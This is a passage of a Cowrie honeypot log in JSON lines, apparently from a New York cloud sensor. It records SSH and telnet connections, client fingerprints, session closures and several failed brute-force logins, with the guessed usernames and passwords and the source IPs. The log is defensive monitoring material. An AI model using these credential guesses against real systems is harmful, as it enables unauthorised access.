t-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:23.586721Z","src_ip":"80.94.92.184","session":"db384f9fba14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"validator","message":"login attempt [solv/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:24.267437Z","src_ip":"80.94.92.184","session":"db384f9fba14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:25.440078Z","src_ip":"80.94.92.184","session":"db384f9fba14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.26280498504639,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:27.907157Z","src_ip":"192.119.13.58","session":"10f9c0a5f64f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40662,"dst_ip":"10.17.0.5","dst_port":23,"session":"35fd0cd1c24d","protocol":"telnet","message":"New connection: 192.119.13.58:40662 (10.17.0.5:23) [session: 35fd0cd1c24d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:29.014765Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49138,"dst_ip":"10.17.0.5","dst_port":23,"session":"45d83ff42ef5","protocol":"telnet","message":"New connection: 192.119.13.58:49138 (10.17.0.5:23) [session: 45d83ff42ef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:31.206993Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55980,"dst_ip":"10.17.0.5","dst_port":23,"session":"53492992c07f","protocol":"telnet","message":"New connection: 192.119.13.58:55980 (10.17.0.5:23) [session: 53492992c07f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:39.865860Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33650,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e99c9a800a1","protocol":"telnet","message":"New connection: 192.119.13.58:33650 (10.17.0.5:23) [session: 0e99c9a800a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:41.332591Z"}
{"eventid":"cowrie.session.closed","duration":40.00868844985962,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:42.456360Z","src_ip":"192.119.13.58","session":"f291316fcc22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.57357096672058,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:46.114873Z","src_ip":"192.119.13.58","session":"5f43112e1ce4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53452,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9293f8f70f9","protocol":"telnet","message":"New connection: 192.119.13.58:53452 (10.17.0.5:23) [session: d9293f8f70f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:46.151624Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":36200,"dst_ip":"159.203.135.109","dst_port":22,"session":"f69048fd7c9a","protocol":"ssh","message":"New connection: 103.149.28.157:36200 (159.203.135.109:22) [session: f69048fd7c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:47.153867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:47.159009Z","src_ip":"103.149.28.157","session":"f69048fd7c9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.075371503829956,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:47.182746Z","src_ip":"192.119.13.58","session":"5bc2125989e2","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:47.411295Z","src_ip":"103.149.28.157","session":"f69048fd7c9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2q3q","message":"login attempt [root/1q2q3q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:48.169950Z","src_ip":"103.149.28.157","session":"f69048fd7c9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:49.425220Z","src_ip":"103.149.28.157","session":"f69048fd7c9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39008,"dst_ip":"10.17.0.5","dst_port":23,"session":"01910a88b185","protocol":"telnet","message":"New connection: 192.119.13.58:39008 (10.17.0.5:23) [session: 01910a88b185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:56.461119Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":57178,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c5b76cdf68c","protocol":"ssh","message":"New connection: 37.233.85.71:57178 (10.17.0.5:22) [session: 3c5b76cdf68c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:59.075986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:59.089302Z","src_ip":"37.233.85.71","session":"3c5b76cdf68c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:59.194397Z","src_ip":"37.233.85.71","session":"3c5b76cdf68c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sabrina","message":"login attempt [root/sabrina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:49:59.509697Z","src_ip":"37.233.85.71","session":"3c5b76cdf68c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:00.616938Z","src_ip":"37.233.85.71","session":"3c5b76cdf68c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42862,"dst_ip":"10.17.0.5","dst_port":23,"session":"415787269333","protocol":"telnet","message":"New connection: 192.119.13.58:42862 (10.17.0.5:23) [session: 415787269333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:04.300869Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52018,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d3f11add6c1","protocol":"telnet","message":"New connection: 192.119.13.58:52018 (10.17.0.5:23) [session: 3d3f11add6c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:06.501308Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53782,"dst_ip":"10.17.0.5","dst_port":23,"session":"e35fd329702f","protocol":"telnet","message":"New connection: 192.119.13.58:53782 (10.17.0.5:23) [session: e35fd329702f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:06.902992Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32838,"dst_ip":"10.17.0.5","dst_port":23,"session":"49dbca49291e","protocol":"telnet","message":"New connection: 192.119.13.58:32838 (10.17.0.5:23) [session: 49dbca49291e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:08.724717Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38900,"dst_ip":"10.17.0.5","dst_port":23,"session":"88e8d7e16525","protocol":"telnet","message":"New connection: 192.119.13.58:38900 (10.17.0.5:23) [session: 88e8d7e16525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:10.200366Z"}
{"eventid":"cowrie.session.closed","duration":55.64057445526123,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:10.506340Z","src_ip":"192.119.13.58","session":"08065bdfcc1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54640,"dst_ip":"10.17.0.5","dst_port":23,"session":"45b5847151a7","protocol":"telnet","message":"New connection: 192.119.13.58:54640 (10.17.0.5:23) [session: 45b5847151a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:14.052553Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58696,"dst_ip":"10.17.0.5","dst_port":23,"session":"7316af86bdd7","protocol":"telnet","message":"New connection: 192.119.13.58:58696 (10.17.0.5:23) [session: 7316af86bdd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:15.000180Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":56145,"dst_ip":"159.203.135.109","dst_port":23,"session":"865b0d7814dc","protocol":"telnet","message":"New connection: 186.195.16.41:56145 (159.203.135.109:23) [session: 865b0d7814dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:15.971316Z"}
{"eventid":"cowrie.session.closed","duration":36.51098823547363,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:16.376722Z","src_ip":"192.119.13.58","session":"53492992c07f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.99846649169922,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:19.205385Z","src_ip":"192.119.13.58","session":"45d83ff42ef5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.787050008773804,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:21.119529Z","src_ip":"192.119.13.58","session":"0e99c9a800a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.920119285583496,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:22.071614Z","src_ip":"192.119.13.58","session":"d9293f8f70f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.57238221168518,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:23.587025Z","src_ip":"192.119.13.58","session":"35fd0cd1c24d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39142,"dst_ip":"10.17.0.5","dst_port":23,"session":"447f4b394f3a","protocol":"telnet","message":"New connection: 192.119.13.58:39142 (10.17.0.5:23) [session: 447f4b394f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:24.214001Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58460,"dst_ip":"10.17.0.5","dst_port":23,"session":"312706b76f28","protocol":"telnet","message":"New connection: 192.119.13.58:58460 (10.17.0.5:23) [session: 312706b76f28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:28.923927Z"}
{"eventid":"cowrie.session.closed","duration":42.44602108001709,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:38.906995Z","src_ip":"192.119.13.58","session":"01910a88b185","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.255468130111694,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:40.756641Z","src_ip":"192.119.13.58","session":"3d3f11add6c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35970,"dst_ip":"10.17.0.5","dst_port":23,"session":"9129454c695b","protocol":"telnet","message":"New connection: 192.119.13.58:35970 (10.17.0.5:23) [session: 9129454c695b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:44.226810Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44800,"dst_ip":"10.17.0.5","dst_port":23,"session":"de11cc9f3243","protocol":"telnet","message":"New connection: 192.119.13.58:44800 (10.17.0.5:23) [session: de11cc9f3243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:46.409092Z"}
{"eventid":"cowrie.session.closed","duration":45.78433632850647,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:50.085068Z","src_ip":"192.119.13.58","session":"415787269333","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59668,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8bad634a7c6","protocol":"telnet","message":"New connection: 192.119.13.58:59668 (10.17.0.5:23) [session: d8bad634a7c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:50.151861Z"}
{"eventid":"cowrie.session.closed","duration":44.20371437072754,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:51.106567Z","src_ip":"192.119.13.58","session":"e35fd329702f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39430,"dst_ip":"10.17.0.5","dst_port":23,"session":"be0d29e39dee","protocol":"telnet","message":"New connection: 192.119.13.58:39430 (10.17.0.5:23) [session: be0d29e39dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:52.197472Z"}
{"eventid":"cowrie.session.closed","duration":40.62970995903015,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:54.681783Z","src_ip":"192.119.13.58","session":"45b5847151a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.0689218044281,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:55.040056Z","src_ip":"186.195.16.41","session":"865b0d7814dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40870,"dst_ip":"10.17.0.5","dst_port":23,"session":"51f489cc3c08","protocol":"telnet","message":"New connection: 192.119.13.58:40870 (10.17.0.5:23) [session: 51f489cc3c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:50:59.795656Z"}
{"eventid":"cowrie.session.closed","duration":35.87685799598694,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:00.090738Z","src_ip":"192.119.13.58","session":"447f4b394f3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.51219630241394,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:00.236800Z","src_ip":"192.119.13.58","session":"49dbca49291e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.10430574417114,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:02.104323Z","src_ip":"192.119.13.58","session":"7316af86bdd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.64882159233093,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:03.849064Z","src_ip":"192.119.13.58","session":"88e8d7e16525","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.575122594833374,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:04.370684Z","src_ip":"192.119.13.58","session":"51f489cc3c08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34498,"dst_ip":"10.17.0.5","dst_port":23,"session":"4af026e62d91","protocol":"telnet","message":"New connection: 192.119.13.58:34498 (10.17.0.5:23) [session: 4af026e62d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:05.515531Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47342,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a6c2b9380ee","protocol":"telnet","message":"New connection: 192.119.13.58:47342 (10.17.0.5:23) [session: 6a6c2b9380ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:08.873455Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48536,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c9e55dc2de4","protocol":"telnet","message":"New connection: 192.119.13.58:48536 (10.17.0.5:23) [session: 4c9e55dc2de4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:09.220907Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50658,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ded11886ae8","protocol":"telnet","message":"New connection: 192.119.13.58:50658 (10.17.0.5:23) [session: 9ded11886ae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:09.750387Z"}
{"eventid":"cowrie.session.closed","duration":42.578365087509155,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:11.502123Z","src_ip":"192.119.13.58","session":"312706b76f28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38230,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9fa001aed24","protocol":"telnet","message":"New connection: 192.119.13.58:38230 (10.17.0.5:23) [session: e9fa001aed24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:13.659078Z"}
{"eventid":"cowrie.session.closed","duration":31.24226450920105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:15.468971Z","src_ip":"192.119.13.58","session":"9129454c695b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49094,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6dde0a49fb5","protocol":"telnet","message":"New connection: 192.119.13.58:49094 (10.17.0.5:23) [session: f6dde0a49fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:16.480640Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51882,"dst_ip":"10.17.0.5","dst_port":23,"session":"f14f1a8a55a9","protocol":"telnet","message":"New connection: 192.119.13.58:51882 (10.17.0.5:23) [session: f14f1a8a55a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:24.445835Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54262,"dst_ip":"10.17.0.5","dst_port":23,"session":"770d3712921e","protocol":"telnet","message":"New connection: 192.119.13.58:54262 (10.17.0.5:23) [session: 770d3712921e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:25.071975Z"}
{"eventid":"cowrie.session.closed","duration":40.12802243232727,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:30.279777Z","src_ip":"192.119.13.58","session":"d8bad634a7c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.392383813858032,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:32.464228Z","src_ip":"192.119.13.58","session":"770d3712921e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.58428359031677,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:34.993260Z","src_ip":"192.119.13.58","session":"de11cc9f3243","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36964,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae88c3f499ea","protocol":"telnet","message":"New connection: 192.119.13.58:36964 (10.17.0.5:23) [session: ae88c3f499ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:35.009626Z"}
{"eventid":"cowrie.session.closed","duration":45.41842603683472,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:51:37.615797Z","src_ip":"192.119.13.58","session":"be0d29e39dee","protocol":"telnet"}
